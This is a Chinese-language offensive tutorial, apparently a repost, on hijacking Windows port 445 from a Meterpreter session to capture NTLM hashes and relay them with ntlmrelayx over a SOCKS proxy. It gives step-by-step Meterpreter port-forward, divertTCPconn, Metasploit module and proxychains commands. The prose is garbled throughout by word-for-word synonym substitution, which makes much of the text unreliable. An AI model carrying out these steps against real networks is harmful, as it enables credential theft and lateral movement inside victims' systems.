Meterpreter在Windows 445端口实施远程NTLM中继攻击测试

写在前面的话

挟制445端口来履行中继进击或Hash-Capturing进击已经是一种常常会呈现的进击要领了,当你应用meterpreter感染目标设备时,你若何监听445端口呢?就在几周之前,这个话题再次浮出了水面。但实际上,现有的对象早就已包揽理了这个问题了,只不过很少有人知道罢了…

在这篇文章中,我们将先容若何使用这些对象来对目标设备履行中继进击。这种技巧的好处就在于,我们不必要在受感染的主机上应用python2exe或全部Python栈,我们只必要应用简单的驱动器和meterpreter就可以实现目标。

请留意,为了方便演示,我们这里把所有的文件都放在了目标主机的磁盘中,假如你在实际操作中不想这样的话,你可以应用RAM磁盘办理规划或扩展当前的meterpreter内存履行功能来实现自己的目标。除此之外,你还可以采纳静态编译等措施来绑缚额外的DLL文件。

端口445的“主人”是谁?

首先,我们必要知道主机中哪一个办事或进程认真监听端口445。一样平常来说,在办理这种类型的问题时我爱好先上网搜索一番,假如有人已经回答过这些问题的话,我们就可以直接在系统上手动验证并复制办理规划了。以是我直接Google了以下内容:

msdnprocess listening port 445

下面这两篇文章是我感觉对照有代价的:

1.https://msdn.microsoft.com/en-us/library/cc875824.aspx

2.https://support.microsoft.com/en-us/help/832017/service-overview-and-network-port-requirements-for-windows

根据上述文章供给的内容,我进行了一系列测试,并经由过程启用和禁用办事来判断该办事是否认真监听445端口,结果我就发清楚明了Server办事。然则这个办事并不会给我们带来立杆见影的效果,由于它必要重启设备才能完成我们的操作,显然这不是真正可行的办理规划。由于抱负环境下,我们并不想重启受感染的设备。

深入阐发并查看该办事的相关属性之后,我们就可以找到启用该办事的敕令:

C:\WINDOWS\system32\svchost.exe-k netsvcs -p

假如你想深入懂得svchost.exe的敕令行参数,我建议你造访Geoff Chappell的网站:【传送门】

假如我们导航到文章上述所先容的注册表键:

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Svchost

我们将看到大年夜量的绑缚办事,但这也并没有完全办理我们的问题,以是我们必要另辟途径。这里我找到了一篇关于EternalBlue破绽使用的文章,这里面提到了破绽使用阐发和Windows 10端口的相关内容:srv.sys驱动器和某些必要与该驱动器协同事情的驱动器都邑涉及到SMB协议。着末,为了获得终极切实着实认,我们还找到了这篇文章:【 传送门】

现在,我们懂得到了认真处置惩罚法度榜样与端口445通信的代码位于内核中,这对付我们来说绝对是一个坏消息,由于挟制socket的难度异常大年夜。接下来,我们会先容若何挟制和重定向端口445。

端口445的挟制与重定向

既然我们已经知道了端口445的“主人”存在于内核中,我们就可以开始设计我们的进击策略了。首先,我想到的便是应用Linux的iptables来挟制传入或传出的连接数据,由于它所做的事情属于的是收集栈中的底层部分。为了弄清楚这种措施能否利用到Windows中,我们必要看一看Windows防火墙的内部事情道理:

1、 Windows防火墙架构:【传送门】

2、 Windows过滤器平台概览:【传送门】

这里我们必要创建一个专门的驱动法度榜样,你可能会觉得netsh端口重定向技巧可能会有用,但着实不然。虽然创建一个驱动法度榜样听起来彷佛并不是最抱负的办理规划,但假如你搜索类似wfp端口连接之类的相关内容,你就会发明谜底@agsolino已经给出了,接下来我们一路看一看若何使用meterpreter和上述技巧来重定向目标系统端口445的连接。下图显示的是全部技巧的事情机制:

我们可以看到,我们已经获得了一台感染了meterpreter的主机,使用这个meterpreter,我们可以设置一个反向端口转发,然后在我们的主机上经由过程端口4444来接管meterpreter连接。远程监听端口8445(meterpreter)将接管来自端口445的连接数据,从而挟制来自445的连接,并将它们转发到metasploit。接下来,我们经由过程挟制某些凭据来看看若何挟制Windows 445端口:

1.设置一个可用的拥有治理员权限的meterpreter会话;

2.设置一个SMB捕捉办事器:

a)应用auxiliary/scanner/smb/smb_login

b)设置SRVPORT 9445

c)运行-j

3.设置一个meterpreter反向转发轫口:

portfwdadd -R -L 127.0.0.1 -l 9445 -p 8445

4.设置端口445挟制:

divert TCPConn.exe 445 8445

现在,当目标主机连接到受感染主机的445端口之后,你将会在你的metasploit节制台中接管到哈希:

接下来,我们一路看一看远程NTLM中继进击的完备实现机制。

若何经由过程meterpreter实现SMB中继进击

现在,我们将在Ubuntu系统中应用ntlmrelayx,中继设备为目标系统中的某个系统。这里涉及到经由过程meterpreter来转发正向和反向流量,反向连接用于确保目标收集内的主性能够跟受感染主机完成连接,这里必要用到ntlmrelayx,与目标收集的连接必要涉及到SOCKS代理。下图显示的是全部进击流程:

[1] [2]下一页

第一步跟之前的图片类似,这里将设置我们的反向信道:

1.设置一个可用的拥有治理员权限的meterpreter会话

2.设置一个meterpreter反向端口转发:

portfwd add -R -p 4445 -l 445 -L 127.0.0.1

3.经由过程meterpreter进行端口445挟制:

execute-f divertTCPconn.exe -a ‘445 4445’

为了设置转发信道,我们经由过程meterpreter会话听加了一个路由来重定向流量,并设置SOCKS代理:

1.经由过程meterpreter添加路由,这里必要指定IP地址:

route add 192.168.222.103/32 3

2.设置SOCKS代理:

a)应用auxiliary/server/socks4a

b)run

c)确保/etc/proxychains.conf中指定了SOCKS端口(默认1080)

3.经由过程SOCK运行ntlmrelayx:

sudo proxychains ntlmrelayx.py -t smb://192.168.222.103 -smb2support

下图为运行结果:

上一页[1] [2]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包